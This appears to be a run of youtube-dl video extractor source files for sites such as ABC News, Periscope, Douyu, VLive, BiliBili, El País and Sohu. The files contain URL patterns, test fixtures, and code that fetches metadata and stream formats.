            'id': 'rock',
            'title': 'Rock',
        },
        'playlist_count': 20,
    }, {
        'url': 'http://www.vevo.com/watch/playlist/dadbf4e7-b99f-4184-9670-6f0e547b6a29?index=0',
        'md5': '32dcdfddddf9ec6917fc88ca26d36282',
        'info_dict': {
            'id': 'USCMV1100073',
            'ext': 'mp4',
            'title': 'Birdman - Y.U. MAD',
            'timestamp': 1323417600,
            'upload_date': '20111209',
            'uploader': 'Birdman',
            'track': 'Y.U. MAD',
            'artist': 'Birdman',
            'genre': 'Rap/Hip-Hop',
        },
        'expected_warnings': ['Unable to download SMIL file'],
    }, {
        'url': 'http://www.vevo.com/watch/genre/rock?index=0',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')
        playlist_kind = mobj.group('kind')

        webpage = self._download_webpage(url, playlist_id)

        qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
        index = qs.get('index', [None])[0]

        if index:
            video_id = self._search_regex(
                r'<meta[^>]+content=(["\'])vevo://video/(?P<id>.+?)\1[^>]*>',
                webpage, 'video id', default=None, group='id')
            if video_id:
                return self.url_result('vevo:%s' % video_id, VevoIE.ie_key())

        playlists = self._extract_json(webpage, playlist_id, '%ss' % playlist_kind)

        playlist = (list(playlists.values())[0]
                    if playlist_kind == 'playlist' else playlists[playlist_id])

        entries = [
            self.url_result('vevo:%s' % src, VevoIE.ie_key())
            for src in playlist['isrcs']]

        return self.playlist_result(
            entries, playlist.get('playlistId') or playlist_id,
            playlist.get('name'), playlist.get('description'))






# coding: utf-8
from __future__ import unicode_literals

import calendar
import re
import time

from .amp import AMPIE
from .common import InfoExtractor
from ..compat import compat_urlparse


class AbcNewsVideoIE(AMPIE):
    IE_NAME = 'abcnews:video'
    _VALID_URL = 'http://abcnews.go.com/[^/]+/video/(?P<display_id>[0-9a-z-]+)-(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://abcnews.go.com/ThisWeek/video/week-exclusive-irans-foreign-minister-zarif-20411932',
        'info_dict': {
            'id': '20411932',
            'ext': 'mp4',
            'display_id': 'week-exclusive-irans-foreign-minister-zarif',
            'title': '\'This Week\' Exclusive: Iran\'s Foreign Minister Zarif',
            'description': 'George Stephanopoulos goes one-on-one with Iranian Foreign Minister Dr. Javad Zarif.',
            'duration': 180,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://abcnews.go.com/2020/video/2020-husband-stands-teacher-jail-student-affairs-26119478',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('display_id')
        video_id = mobj.group('id')
        info_dict = self._extract_feed_info(
            'http://abcnews.go.com/video/itemfeed?id=%s' % video_id)
        info_dict.update({
            'id': video_id,
            'display_id': display_id,
        })
        return info_dict


class AbcNewsIE(InfoExtractor):
    IE_NAME = 'abcnews'
    _VALID_URL = 'https?://abcnews\.go\.com/(?:[^/]+/)+(?P<display_id>[0-9a-z-]+)/story\?id=(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://abcnews.go.com/Blotter/News/dramatic-video-rare-death-job-america/story?id=10498713#.UIhwosWHLjY',
        'info_dict': {
            'id': '10498713',
            'ext': 'flv',
            'display_id': 'dramatic-video-rare-death-job-america',
            'title': 'Occupational Hazards',
            'description': 'Nightline investigates the dangers that lurk at various jobs.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20100428',
            'timestamp': 1272412800,
        },
        'add_ie': ['AbcNewsVideo'],
    }, {
        'url': 'http://abcnews.go.com/Entertainment/justin-timberlake-performs-stop-feeling-eurovision-2016/story?id=39125818',
        'info_dict': {
            'id': '39125818',
            'ext': 'mp4',
            'display_id': 'justin-timberlake-performs-stop-feeling-eurovision-2016',
            'title': 'Justin Timberlake Drops Hints For Secret Single',
            'description': 'Lara Spencer reports the buzziest stories of the day in "GMA" Pop News.',
            'upload_date': '20160515',
            'timestamp': 1463329500,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
            # The embedded YouTube video is blocked due to copyright issues
            'playlist_items': '1',
        },
        'add_ie': ['AbcNewsVideo'],
    }, {
        'url': 'http://abcnews.go.com/Technology/exclusive-apple-ceo-tim-cook-iphone-cracking-software/story?id=37173343',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('display_id')
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)
        video_url = self._search_regex(
            r'window\.abcnvideo\.url\s*=\s*"([^"]+)"', webpage, 'video URL')
        full_video_url = compat_urlparse.urljoin(url, video_url)

        youtube_url = self._html_search_regex(
            r'<iframe[^>]+src="(https://www\.youtube\.com/embed/[^"]+)"',
            webpage, 'YouTube URL', default=None)

        timestamp = None
        date_str = self._html_search_regex(
            r'<span[^>]+class="timestamp">([^<]+)</span>',
            webpage, 'timestamp', fatal=False)
        if date_str:
            tz_offset = 0
            if date_str.endswith(' ET'):  # Eastern Time
                tz_offset = -5
                date_str = date_str[:-3]
            date_formats = ['%b. %d, %Y', '%b %d, %Y, %I:%M %p']
            for date_format in date_formats:
                try:
                    timestamp = calendar.timegm(time.strptime(date_str.strip(), date_format))
                except ValueError:
                    continue
            if timestamp is not None:
                timestamp -= tz_offset * 3600

        entry = {
            '_type': 'url_transparent',
            'ie_key': AbcNewsVideoIE.ie_key(),
            'url': full_video_url,
            'id': video_id,
            'display_id': display_id,
            'timestamp': timestamp,
        }

        if youtube_url:
            entries = [entry, self.url_result(youtube_url, 'Youtube')]
            return self.playlist_result(entries)

        return entry






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    unescapeHTML,
)


class PeriscopeIE(InfoExtractor):
    IE_DESC = 'Periscope'
    IE_NAME = 'periscope'
    _VALID_URL = r'https?://(?:www\.)?periscope\.tv/[^/]+/(?P<id>[^/?#]+)'
    # Alive example URLs can be found here http://onperiscope.com/
    _TESTS = [{
        'url': 'https://www.periscope.tv/w/aJUQnjY3MjA3ODF8NTYxMDIyMDl2zCg2pECBgwTqRpQuQD352EMPTKQjT4uqlM3cgWFA-g==',
        'md5': '65b57957972e503fcbbaeed8f4fa04ca',
        'info_dict': {
            'id': '56102209',
            'ext': 'mp4',
            'title': 'Bec Boop - 🚠✈️🇬🇧 Fly above #London in Emirates Air Line cable car at night 🇬🇧✈️🚠 #BoopScope 🎀💗',
            'timestamp': 1438978559,
            'upload_date': '20150807',
            'uploader': 'Bec Boop',
            'uploader_id': '1465763',
        },
        'skip': 'Expires in 24 hours',
    }, {
        'url': 'https://www.periscope.tv/w/1ZkKzPbMVggJv',
        'only_matching': True,
    }, {
        'url': 'https://www.periscope.tv/bastaakanoggano/1OdKrlkZZjOJX',
        'only_matching': True,
    }]

    def _call_api(self, method, value):
        return self._download_json(
            'https://api.periscope.tv/api/v2/%s?broadcast_id=%s' % (method, value), value)

    def _real_extract(self, url):
        token = self._match_id(url)

        broadcast_data = self._call_api('getBroadcastPublic', token)
        broadcast = broadcast_data['broadcast']
        status = broadcast['status']

        user = broadcast_data.get('user', {})

        uploader = broadcast.get('user_display_name') or user.get('display_name')
        uploader_id = (broadcast.get('username') or user.get('username') or
                       broadcast.get('user_id') or user.get('id'))

        title = '%s - %s' % (uploader, status) if uploader else status
        state = broadcast.get('state').lower()
        if state == 'running':
            title = self._live_title(title)
        timestamp = parse_iso8601(broadcast.get('created_at'))

        thumbnails = [{
            'url': broadcast[image],
        } for image in ('image_url', 'image_url_small') if broadcast.get(image)]

        stream = self._call_api('getAccessPublic', token)

        formats = []
        for format_id in ('replay', 'rtmp', 'hls', 'https_hls'):
            video_url = stream.get(format_id + '_url')
            if not video_url:
                continue
            f = {
                'url': video_url,
                'ext': 'flv' if format_id == 'rtmp' else 'mp4',
            }
            if format_id != 'rtmp':
                f['protocol'] = 'm3u8_native' if state == 'ended' else 'm3u8'
            formats.append(f)
        self._sort_formats(formats)

        return {
            'id': broadcast.get('id') or token,
            'title': title,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'thumbnails': thumbnails,
            'formats': formats,
        }


class PeriscopeUserIE(InfoExtractor):
    _VALID_URL = r'https?://www\.periscope\.tv/(?P<id>[^/]+)/?$'
    IE_DESC = 'Periscope user videos'
    IE_NAME = 'periscope:user'

    _TEST = {
        'url': 'https://www.periscope.tv/LularoeHusbandMike/',
        'info_dict': {
            'id': 'LularoeHusbandMike',
            'title': 'LULAROE HUSBAND MIKE',
            'description': 'md5:6cf4ec8047768098da58e446e82c82f0',
        },
        # Periscope only shows videos in the last 24 hours, so it's possible to
        # get 0 videos
        'playlist_mincount': 0,
    }

    def _real_extract(self, url):
        user_id = self._match_id(url)

        webpage = self._download_webpage(url, user_id)

        data_store = self._parse_json(
            unescapeHTML(self._search_regex(
                r'data-store=(["\'])(?P<data>.+?)\1',
                webpage, 'data store', default='{}', group='data')),
            user_id)

        user = data_store.get('User', {}).get('user', {})
        title = user.get('display_name') or user.get('username')
        description = user.get('description')

        broadcast_ids = (data_store.get('UserBroadcastHistory', {}).get('broadcastIds') or
                         data_store.get('BroadcastCache', {}).get('broadcastIds', []))

        entries = [
            self.url_result(
                'https://www.periscope.tv/%s/%s' % (user_id, broadcast_id))
            for broadcast_id in broadcast_ids]

        return self.playlist_result(entries, user_id, title, description)






# coding: utf-8
from __future__ import unicode_literals

import hashlib
import time
from .common import InfoExtractor
from ..utils import (ExtractorError, unescapeHTML)
from ..compat import (compat_str, compat_basestring)


class DouyuTVIE(InfoExtractor):
    IE_DESC = '斗鱼'
    _VALID_URL = r'https?://(?:www\.)?douyu(?:tv)?\.com/(?P<id>[A-Za-z0-9]+)'
    _TESTS = [{
        'url': 'http://www.douyutv.com/iseven',
        'info_dict': {
            'id': '17732',
            'display_id': 'iseven',
            'ext': 'flv',
            'title': 're:^清晨醒脑！T-ara根本停不下来！ [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 're:.*m7show@163\.com.*',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': '7师傅',
            'uploader_id': '431925',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.douyutv.com/85982',
        'info_dict': {
            'id': '85982',
            'display_id': '85982',
            'ext': 'flv',
            'title': 're:^小漠从零单排记！——CSOL2躲猫猫 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'md5:746a2f7a253966a06755a912f0acc0d2',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'douyu小漠',
            'uploader_id': '3769985',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        },
        'skip': 'Room not found',
    }, {
        'url': 'http://www.douyutv.com/17732',
        'info_dict': {
            'id': '17732',
            'display_id': '17732',
            'ext': 'flv',
            'title': 're:^清晨醒脑！T-ara根本停不下来！ [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 're:.*m7show@163\.com.*',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': '7师傅',
            'uploader_id': '431925',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.douyu.com/xiaocang',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        if video_id.isdigit():
            room_id = video_id
        else:
            page = self._download_webpage(url, video_id)
            room_id = self._html_search_regex(
                r'"room_id"\s*:\s*(\d+),', page, 'room id')

        config = None
        # Douyu API sometimes returns error "Unable to load the requested class: eticket_redis_cache"
        # Retry with different parameters - same parameters cause same errors
        for i in range(5):
            prefix = 'room/%s?aid=android&client_sys=android&time=%d' % (
                room_id, int(time.time()))
            auth = hashlib.md5((prefix + '1231').encode('ascii')).hexdigest()

            config_page = self._download_webpage(
                'http://www.douyutv.com/api/v1/%s&auth=%s' % (prefix, auth),
                video_id)
            try:
                config = self._parse_json(config_page, video_id, fatal=False)
            except ExtractorError:
                # Wait some time before retrying to get a different time() value
                self._sleep(1, video_id, msg_template='%(video_id)s: Error occurs. '
                                                      'Waiting for %(timeout)s seconds before retrying')
                continue
            else:
                break
        if config is None:
            raise ExtractorError('Unable to fetch API result')

        data = config['data']

        error_code = config.get('error', 0)
        if error_code is not 0:
            error_desc = 'Server reported error %i' % error_code
            if isinstance(data, (compat_str, compat_basestring)):
                error_desc += ': ' + data
            raise ExtractorError(error_desc, expected=True)

        show_status = data.get('show_status')
        # 1 = live, 2 = offline
        if show_status == '2':
            raise ExtractorError(
                'Live stream is offline', expected=True)

        base_url = data['rtmp_url']
        live_path = data['rtmp_live']

        title = self._live_title(unescapeHTML(data['room_name']))
        description = data.get('show_details')
        thumbnail = data.get('room_src')

        uploader = data.get('nickname')
        uploader_id = data.get('owner_uid')

        multi_formats = data.get('rtmp_multi_bitrate')
        if not isinstance(multi_formats, dict):
            multi_formats = {}
        multi_formats['live'] = live_path

        formats = [{
            'url': '%s/%s' % (base_url, format_path),
            'format_id': format_id,
            'preference': 1 if format_id == 'live' else 0,
        } for format_id, format_path in multi_formats.items()]
        self._sort_formats(formats)

        return {
            'id': room_id,
            'display_id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'formats': formats,
            'is_live': True,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    dict_get,
    ExtractorError,
    float_or_none,
    int_or_none,
    remove_start,
)
from ..compat import compat_urllib_parse_urlencode


class VLiveIE(InfoExtractor):
    IE_NAME = 'vlive'
    _VALID_URL = r'https?://(?:(?:www|m)\.)?vlive\.tv/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.vlive.tv/video/1326',
        'md5': 'cc7314812855ce56de70a06a27314983',
        'info_dict': {
            'id': '1326',
            'ext': 'mp4',
            'title': "[V LIVE] Girl's Day's Broadcast",
            'creator': "Girl's Day",
            'view_count': int,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.vlive.tv/video/%s' % video_id, video_id)

        video_params = self._search_regex(
            r'\bvlive\.video\.init\(([^)]+)\)',
            webpage, 'video params')
        status, _, _, live_params, long_video_id, key = re.split(
            r'"\s*,\s*"', video_params)[2:8]
        status = remove_start(status, 'PRODUCT_')

        if status == 'LIVE_ON_AIR' or status == 'BIG_EVENT_ON_AIR':
            live_params = self._parse_json('"%s"' % live_params, video_id)
            live_params = self._parse_json(live_params, video_id)
            return self._live(video_id, webpage, live_params)
        elif status == 'VOD_ON_AIR' or status == 'BIG_EVENT_INTRO':
            if long_video_id and key:
                return self._replay(video_id, webpage, long_video_id, key)
            else:
                status = 'COMING_SOON'

        if status == 'LIVE_END':
            raise ExtractorError('Uploading for replay. Please wait...',
                                 expected=True)
        elif status == 'COMING_SOON':
            raise ExtractorError('Coming soon!', expected=True)
        elif status == 'CANCELED':
            raise ExtractorError('We are sorry, '
                                 'but the live broadcast has been canceled.',
                                 expected=True)
        else:
            raise ExtractorError('Unknown status %s' % status)

    def _get_common_fields(self, webpage):
        title = self._og_search_title(webpage)
        creator = self._html_search_regex(
            r'<div[^>]+class="info_area"[^>]*>\s*<a\s+[^>]*>([^<]+)',
            webpage, 'creator', fatal=False)
        thumbnail = self._og_search_thumbnail(webpage)
        return {
            'title': title,
            'creator': creator,
            'thumbnail': thumbnail,
        }

    def _live(self, video_id, webpage, live_params):
        formats = []
        for vid in live_params.get('resolutions', []):
            formats.extend(self._extract_m3u8_formats(
                vid['cdnUrl'], video_id, 'mp4',
                m3u8_id=vid.get('name'),
                fatal=False, live=True))
        self._sort_formats(formats)

        return dict(self._get_common_fields(webpage),
                    id=video_id,
                    formats=formats,
                    is_live=True)

    def _replay(self, video_id, webpage, long_video_id, key):
        playinfo = self._download_json(
            'http://global.apis.naver.com/rmcnmv/rmcnmv/vod_play_videoInfo.json?%s'
            % compat_urllib_parse_urlencode({
                'videoId': long_video_id,
                'key': key,
                'ptc': 'http',
                'doct': 'json',  # document type (xml or json)
                'cpt': 'vtt',  # captions type (vtt or ttml)
            }), video_id)

        formats = [{
            'url': vid['source'],
            'format_id': vid.get('encodingOption', {}).get('name'),
            'abr': float_or_none(vid.get('bitrate', {}).get('audio')),
            'vbr': float_or_none(vid.get('bitrate', {}).get('video')),
            'width': int_or_none(vid.get('encodingOption', {}).get('width')),
            'height': int_or_none(vid.get('encodingOption', {}).get('height')),
            'filesize': int_or_none(vid.get('size')),
        } for vid in playinfo.get('videos', {}).get('list', []) if vid.get('source')]
        self._sort_formats(formats)

        view_count = int_or_none(playinfo.get('meta', {}).get('count'))

        subtitles = {}
        for caption in playinfo.get('captions', {}).get('list', []):
            lang = dict_get(caption, ('language', 'locale', 'country', 'label'))
            if lang and caption.get('source'):
                subtitles[lang] = [{
                    'ext': 'vtt',
                    'url': caption['source']}]

        return dict(self._get_common_fields(webpage),
                    id=video_id,
                    formats=formats,
                    view_count=view_count,
                    subtitles=subtitles)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
)


class MotorsportIE(InfoExtractor):
    IE_DESC = 'motorsport.com'
    _VALID_URL = r'https?://www\.motorsport\.com/[^/?#]+/video/(?:[^/?#]+/)(?P<id>[^/]+)/?(?:$|[?#])'
    _TEST = {
        'url': 'http://www.motorsport.com/f1/video/main-gallery/red-bull-racing-2014-rules-explained/',
        'info_dict': {
            'id': '2-T3WuR-KMM',
            'ext': 'mp4',
            'title': 'Red Bull Racing: 2014 Rules Explained',
            'duration': 208,
            'description': 'A new clip from Red Bull sees Daniel Ricciardo and Sebastian Vettel explain the 2014 Formula One regulations – which are arguably the most complex the sport has ever seen.',
            'uploader': 'mcomstaff',
            'uploader_id': 'UC334JIYKkVnyFoNCclfZtHQ',
            'upload_date': '20140903',
            'thumbnail': r're:^https?://.+\.jpg$'
        },
        'add_ie': ['Youtube'],
        'params': {
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        iframe_path = self._html_search_regex(
            r'<iframe id="player_iframe"[^>]+src="([^"]+)"', webpage,
            'iframe path')
        iframe = self._download_webpage(
            compat_urlparse.urljoin(url, iframe_path), display_id,
            'Downloading iframe')
        youtube_id = self._search_regex(
            r'www.youtube.com/embed/(.{11})', iframe, 'youtube id')

        return {
            '_type': 'url_transparent',
            'display_id': display_id,
            'url': 'https://youtube.com/watch?v=%s' % youtube_id,
        }






# coding: utf-8
from __future__ import unicode_literals

import calendar
import datetime
import re

from .common import InfoExtractor
from ..compat import (
    compat_etree_fromstring,
    compat_str,
    compat_parse_qs,
    compat_xml_parse_error,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    float_or_none,
    xpath_text,
)


class BiliBiliIE(InfoExtractor):
    _VALID_URL = r'https?://www\.bilibili\.(?:tv|com)/video/av(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.bilibili.tv/video/av1074402/',
        'md5': '9fa226fe2b8a9a4d5a69b4c6a183417e',
        'info_dict': {
            'id': '1554319',
            'ext': 'mp4',
            'title': '【金坷垃】金泡沫',
            'description': 'md5:ce18c2a2d2193f0df2917d270f2e5923',
            'duration': 308.315,
            'timestamp': 1398012660,
            'upload_date': '20140420',
            'thumbnail': 're:^https?://.+\.jpg',
            'uploader': '菊子桑',
            'uploader_id': '156160',
        },
    }, {
        'url': 'http://www.bilibili.com/video/av1041170/',
        'info_dict': {
            'id': '1507019',
            'ext': 'mp4',
            'title': '【BD1080P】刀语【诸神&异域】',
            'description': '这是个神奇的故事~每个人不留弹幕不给走哦~切利哦！~',
            'timestamp': 1396530060,
            'upload_date': '20140403',
            'uploader': '枫叶逝去',
            'uploader_id': '520116',
        },
    }, {
        'url': 'http://www.bilibili.com/video/av4808130/',
        'info_dict': {
            'id': '7802182',
            'ext': 'mp4',
            'title': '【长篇】哆啦A梦443【钉铛】',
            'description': '(2016.05.27)来组合客人的脸吧&amp;amp;寻母六千里锭 抱歉，又轮到周日上班现在才到家 封面www.pixiv.net/member_illust.php?mode=medium&amp;amp;illust_id=56912929',
            'timestamp': 1464564180,
            'upload_date': '20160529',
            'uploader': '喜欢拉面',
            'uploader_id': '151066',
        },
    }, {
        # Missing upload time
        'url': 'http://www.bilibili.com/video/av1867637/',
        'info_dict': {
            'id': '2880301',
            'ext': 'mp4',
            'title': '【HDTV】【喜剧】岳父岳母真难当 （2014）【法国票房冠军】',
            'description': '一个信奉天主教的法国旧式传统资产阶级家庭中有四个女儿。三个女儿却分别找了阿拉伯、犹太、中国丈夫，老夫老妻唯独期盼剩下未嫁的小女儿能找一个信奉天主教的法国白人，结果没想到小女儿找了一位非裔黑人……【这次应该不会跳帧了】',
            'uploader': '黑夜为猫',
            'uploader_id': '610729',
        },
        'params': {
            # Just to test metadata extraction
            'skip_download': True,
        },
        'expected_warnings': ['upload time'],
    }]

    # BiliBili blocks keys from time to time. The current key is extracted from
    # the Android client
    # TODO: find the sign algorithm used in the flash player
    _APP_KEY = '86385cdc024c0f6c'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        params = compat_parse_qs(self._search_regex(
            [r'EmbedPlayer\([^)]+,\s*"([^"]+)"\)',
             r'<iframe[^>]+src="https://secure\.bilibili\.com/secure,([^"]+)"'],
            webpage, 'player parameters'))
        cid = params['cid'][0]

        info_xml_str = self._download_webpage(
            'http://interface.bilibili.com/v_cdn_play',
            cid, query={'appkey': self._APP_KEY, 'cid': cid},
            note='Downloading video info page')

        err_msg = None
        durls = None
        info_xml = None
        try:
            info_xml = compat_etree_fromstring(info_xml_str.encode('utf-8'))
        except compat_xml_parse_error:
            info_json = self._parse_json(info_xml_str, video_id, fatal=False)
            err_msg = (info_json or {}).get('error_text')
        else:
            err_msg = xpath_text(info_xml, './message')

        if info_xml is not None:
            durls = info_xml.findall('./durl')
        if not durls:
            if err_msg:
                raise ExtractorError('%s said: %s' % (self.IE_NAME, err_msg), expected=True)
            else:
                raise ExtractorError('No videos found!')

        entries = []

        for durl in durls:
            size = xpath_text(durl, ['./filesize', './size'])
            formats = [{
                'url': durl.find('./url').text,
                'filesize': int_or_none(size),
            }]
            for backup_url in durl.findall('./backup_url/url'):
                formats.append({
                    'url': backup_url.text,
                    # backup URLs have lower priorities
                    'preference': -2 if 'hd.mp4' in backup_url.text else -3,
                })

            self._sort_formats(formats)

            entries.append({
                'id': '%s_part%s' % (cid, xpath_text(durl, './order')),
                'duration': int_or_none(xpath_text(durl, './length'), 1000),
                'formats': formats,
            })

        title = self._html_search_regex('<h1[^>]+title="([^"]+)">', webpage, 'title')
        description = self._html_search_meta('description', webpage)
        datetime_str = self._html_search_regex(
            r'<time[^>]+datetime="([^"]+)"', webpage, 'upload time', fatal=False)
        timestamp = None
        if datetime_str:
            timestamp = calendar.timegm(datetime.datetime.strptime(datetime_str, '%Y-%m-%dT%H:%M').timetuple())

        # TODO 'view_count' requires deobfuscating Javascript
        info = {
            'id': compat_str(cid),
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'thumbnail': self._html_search_meta('thumbnailUrl', webpage),
            'duration': float_or_none(xpath_text(info_xml, './timelength'), scale=1000),
        }

        uploader_mobj = re.search(
            r'<a[^>]+href="https?://space\.bilibili\.com/(?P<id>\d+)"[^>]+title="(?P<name>[^"]+)"',
            webpage)
        if uploader_mobj:
            info.update({
                'uploader': uploader_mobj.group('name'),
                'uploader_id': uploader_mobj.group('id'),
            })

        for entry in entries:
            entry.update(info)

        if len(entries) == 1:
            return entries[0]
        else:
            for idx, entry in enumerate(entries):
                entry['id'] = '%s_part%d' % (video_id, (idx + 1))

            return {
                '_type': 'multi_video',
                'id': video_id,
                'title': title,
                'description': description,
                'entries': entries,
            }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unified_strdate


class ElPaisIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[^.]+\.)?elpais\.com/.*/(?P<id>[^/#?]+)\.html(?:$|[?#])'
    IE_DESC = 'El País'

    _TESTS = [{
        'url': 'http://blogs.elpais.com/la-voz-de-inaki/2014/02/tiempo-nuevo-recetas-viejas.html',
        'md5': '98406f301f19562170ec071b83433d55',
        'info_dict': {
            'id': 'tiempo-nuevo-recetas-viejas',
            'ext': 'mp4',
            'title': 'Tiempo nuevo, recetas viejas',
            'description': 'De lunes a viernes, a partir de las ocho de la mañana, Iñaki Gabilondo nos cuenta su visión de la actualidad nacional e internacional.',
            'upload_date': '20140206',
        }
    }, {
        'url': 'http://elcomidista.elpais.com/elcomidista/2016/02/24/articulo/1456340311_668921.html#?id_externo_nwl=newsletter_diaria20160303t',
        'md5': '3bd5b09509f3519d7d9e763179b013de',
        'info_dict': {
            'id': '1456340311_668921',
            'ext': 'mp4',
            'title': 'Cómo hacer el mejor café con cafetera italiana',
            'description': 'Que sí, que las cápsulas son cómodas. Pero si le pides algo más a la vida, quizá deberías aprender a usar bien la cafetera italiana. No tienes más que ver este vídeo y seguir sus siete normas básicas.',
            'upload_date': '20160303',
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        prefix = self._html_search_regex(
            r'var\s+url_cache\s*=\s*"([^"]+)";', webpage, 'URL prefix')
        video_suffix = self._search_regex(
            r"(?:URLMediaFile|urlVideo_\d+)\s*=\s*url_cache\s*\+\s*'([^']+)'", webpage, 'video URL')
        video_url = prefix + video_suffix
        thumbnail_suffix = self._search_regex(
            r"(?:URLMediaStill|urlFotogramaFijo_\d+)\s*=\s*url_cache\s*\+\s*'([^']+)'",
            webpage, 'thumbnail URL', fatal=False)
        thumbnail = (
            None if thumbnail_suffix is None
            else prefix + thumbnail_suffix)
        title = self._html_search_regex(
            (r"tituloVideo\s*=\s*'([^']+)'", webpage, 'title',
             r'<h2 class="entry-header entry-title.*?>(.*?)</h2>'),
            webpage, 'title')
        upload_date = unified_strdate(self._search_regex(
            r'<p class="date-header date-int updated"\s+title="([^"]+)">',
            webpage, 'upload date', default=None) or self._html_search_meta(
            'datePublished', webpage, 'timestamp'))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnail': thumbnail,
            'upload_date': upload_date,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urllib_parse_urlencode,
)
from ..utils import ExtractorError


class SohuIE(InfoExtractor):
    _VALID_URL = r'https?://(?P<mytv>my\.)?tv\.sohu\.com/.+?/(?(mytv)|n)(?P<id>\d+)\.shtml.*?'

    # Sohu videos give different MD5 sums on Travis CI and my machine
    _TESTS = [{
        'note': 'This video is available only in Mainland China',
        'url': 'http://tv.sohu.com/20130724/n382479172.shtml#super',
        'info_dict': {
            'id': '382479172',
            'ext': 'mp4',
            'title': 'MV：Far East Movement《The Illest》',
        },
        'skip': 'On available in China',
    }, {
        'url': 'http://tv.sohu.com/20150305/n409385080.shtml',
        'info_dict': {
            'id': '409385080',
            'ext': 'mp4',
            'title': '《2015湖南卫视羊年元宵晚会》唐嫣《花好月圆》',
        }
    }, {
        'url': 'http://my.tv.sohu.com/us/232799889/78693464.shtml',
        'info_dict': {
            'id': '78693464',
            'ext': 'mp4',
            'title': '【爱范品】第31期：MWC见不到的奇葩手机',
        }
    }, {
        'note': 'Multipart video',
        'url': 'http://my.tv.sohu.com/pl/8384802/78910339.shtml',
        'info_dict': {
            'id': '78910339',
            'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',
        },
        'playlist': [{
            'info_dict': {
                'id': '78910339_part1',
                'ext': 'mp4',
                'duration': 294,
                'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',
            }
        }, {
            'info_dict': {
                'id': '78910339_part2',
                'ext': 'mp4',
                'duration': 300,
                'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',
            }
        }, {
            'info_dict': {
                'id': '78910339_part3',
                'ext': 'mp4',
                'duration': 150,
                'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',
            }
        }]
    }, {
        'note': 'Video with title containing dash',
        'url': 'http://my.tv.sohu.com/us/249884221/78932792.shtml',
        'info_dict': {
            'id': '78932792',
            'ext': 'mp4',
            'title': 'youtube-dl testing video',
        },
        'params': {
            'skip_download': True
        }
    }]

    def _real_extract(self, url):

        def _fetch_data(vid_id, mytv=False):
            if mytv:
                base_data_url = 'http://my.tv.sohu.com/play/videonew.do?vid='
            else:
                base_data_url = 'http://hot.vrs.sohu.com/vrs_flash.action?vid='

            return self._download_json(
                base_data_url + vid_id, video_id,
                'Downloading JSON data for %s' % vid_id,
                headers=self.geo_verification_headers())

        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        mytv = mobj.group('mytv') is not None

        webpage = self._download_webpage(url, video_id)

        title = re.sub(r' - 搜狐视频$', '', self._og_search_title(webpage))

        vid = self._html_search_regex(
            r'var vid ?= ?["\'](\d+)["\']',
            webpage, 'video path')
        vid_data = _fetch_data(vid, mytv)
        if vid_data['play'] != 1:
            if vid_data.get('status') == 12:
                raise ExtractorError(
                    'Sohu said: There\'s something wrong in the video.',
                    expected=True)
            else:
                raise ExtractorError(
                    'Sohu said: The video is only licensed to users in Mainland China.',
                    expected=True)

        formats_json = {}
        for format_id in ('nor', 'high', 'super', 'ori', 'h2644k', 'h2654k'):
            vid_id = vid_data['data'].get('%sVid' % format_id)
            if not vid_id:
                continue
